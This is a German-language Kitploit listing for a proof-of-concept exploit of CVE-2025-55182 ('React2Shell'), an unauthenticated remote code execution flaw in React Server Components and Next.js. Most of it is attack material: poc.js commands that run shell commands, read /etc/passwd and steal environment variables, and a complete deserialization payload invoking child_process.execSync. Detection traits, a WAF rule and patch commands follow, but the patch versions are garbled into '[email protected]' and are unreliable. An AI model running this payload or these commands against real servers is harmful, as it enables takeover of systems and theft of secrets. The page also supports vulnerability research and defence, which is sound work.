Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — Proof-of-Concept-Exploit für CVE-2025-55182 (React2Shell), der nicht authentifizierte Remotecodeausführung in React Server Components über Deserialisierung des Flight-Protokolls demonstriert. Enthält Einrichtung eines angreifbaren Servers und Erkennungsskripte. | Kitploit
Tools/GitHubGitHub/greenheadhq/cve-2025-55182
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Proof-of-Concept-Exploit für CVE-2025-55182 (React2Shell), der nicht authentifizierte Remotecodeausführung in React Server Components über Deserialisierung des Flight-Protokolls demonstriert. Enthält Einrichtung eines angreifbaren Servers und Erkennungsskripte.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
11vor 8 MonatenNoch nicht geprüft

CVE-2025-55182 (React2Shell) PoC-Umgebung

Warnung: Dieses Projekt ist nur für Sicherheitsforschung und Bildungszwecke gedacht. Die unbefugte Nutzung auf fremden Systemen ist illegal.

Übersicht der Schwachstelle

ElementInhalt
CVE IDCVE-2025-55182
AliasReact2Shell
CVSS-Score10.0 (Critical – maximale Schwere)
SchwachstellentypUnauthenticated Remote Code Execution (RCE)
EntdeckerLachlan Davidson
Veröffentlichungsdatum3. Dezember 2025

Betroffene Versionen

React-Pakete

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Projektstruktur

root@kitploit:~
CVE-2025-55182/
├── README.md                    # Diese Datei
├── vulnerable-server/           # Verwundbarer Next.js-Server
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # Exploit PoC
│   ├── package.json
│   ├── poc.js                   # RCE-Exploit-Skript
│   └── check-vulnerability.js   # Schwachstellenprüf-Skript
└── React2Shell-CVE-2025-55182-original-poc/  # Original-PoC-Referenz

Schnellstart

1. Verwundbaren Server einrichten und starten

root@kitploit:~
# Abhängigkeiten installieren
cd vulnerable-server
npm install

# Server im Entwicklungsmodus starten (Port 3000)
npm run dev

Der Server läuft unter http://localhost:3000.

2. Exploit PoC ausführen

In einem neuen Terminal:

root@kitploit:~
# Abhängigkeiten installieren
cd exploit
npm install

# Schwachstelle prüfen
npm run check

# PoC ausführen (Testmodus)
npm run exploit

Verwendung des Exploit PoC

Grundlegender Test (console.log)

root@kitploit:~
node poc.js -m test

Taschenrechner ausführen (RCE-Beweis Standard)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Systembefehle ausführen (RCE)

root@kitploit:~
# id-Befehl ausführen
node poc.js -t http://localhost:3000 -m rce -c "id"

# Datei lesen
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# Systeminformationen
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Umgebungsvariablen stehlen

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

Benutzerdefinierten Code ausführen

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Technische Analyse

Grundursache der Schwachstelle

Tritt beim Deserialisieren der vom Client gesendeten Daten im Flight-Protokoll von React Server Components auf.

root@kitploit:~
Die Funktion requireModule vertraut den vom Client gesendeten Eigenschaftsnamen ohne Validierung
→ moduleExports[metadata[NAME]] wird ohne hasOwnProperty-Prüfung ausgeführt
→ Prototype-Chain kann manipuliert werden (Server-Side Prototype Pollution)
→ Function-Konstruktor erlangen → RCE

Angriffskette

  1. $@x Deserialisierung auslösen – Referenz auf Chunk-Objekt erlangen
  2. Promise-Verkettung ausnutzen – Thenable-Objekt mit .then-Methode injizieren
  3. Parser mit gefälschtem Chunk-Objekt erneut betreten – status: resolved_model setzen
  4. Gadget-Chain aufbauen – _response, _formData usw. nutzen
  5. Function-Konstruktor erlangen – $1:constructor:constructor
  6. Beliebigen Code ausführen – new Function(schadcode) ausführen

Payload-Struktur

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Patch-Methoden

Next.js aktualisieren

root@kitploit:~
# Für 15.0.x-Benutzer
npm install [email protected]

# Für 15.1.x-Benutzer
npm install [email protected]

# Für 15.2.x-Benutzer
npm install [email protected]

React-Pakete aktualisieren

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

Erkennungsmethoden

HTTP-Anfrage-Merkmale

  • POST-Anfrage
  • Next-Action-Header vorhanden
  • multipart/form-data-Format
  • Textkörper enthält Muster wie $@, resolved_model, constructor

Beispiel WAF-Regel

root@kitploit:~
# Verdächtige Flight-Payloads erkennen
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Referenzen

  • React offizieller Blog
  • Original PoC (Lachlan Davidson)
  • Datadog Security Labs Analyse
  • Wiz Analyse

Lizenz

Dieses Projekt wird nur für Bildungs- und Forschungszwecke bereitgestellt. Die Nutzung zu böswilligen Zwecken ist untersagt.


Hinweis: Wenn Sie diese Schwachstelle in einer realen Umgebung entdecken, wenden Sie sofort den Patch an. Wenn ein Angriff bestätigt wurde, melden Sie dies dem Sicherheitsteam und führen Sie eine Sicherheitsüberprüfung durch.

Tool herunterladen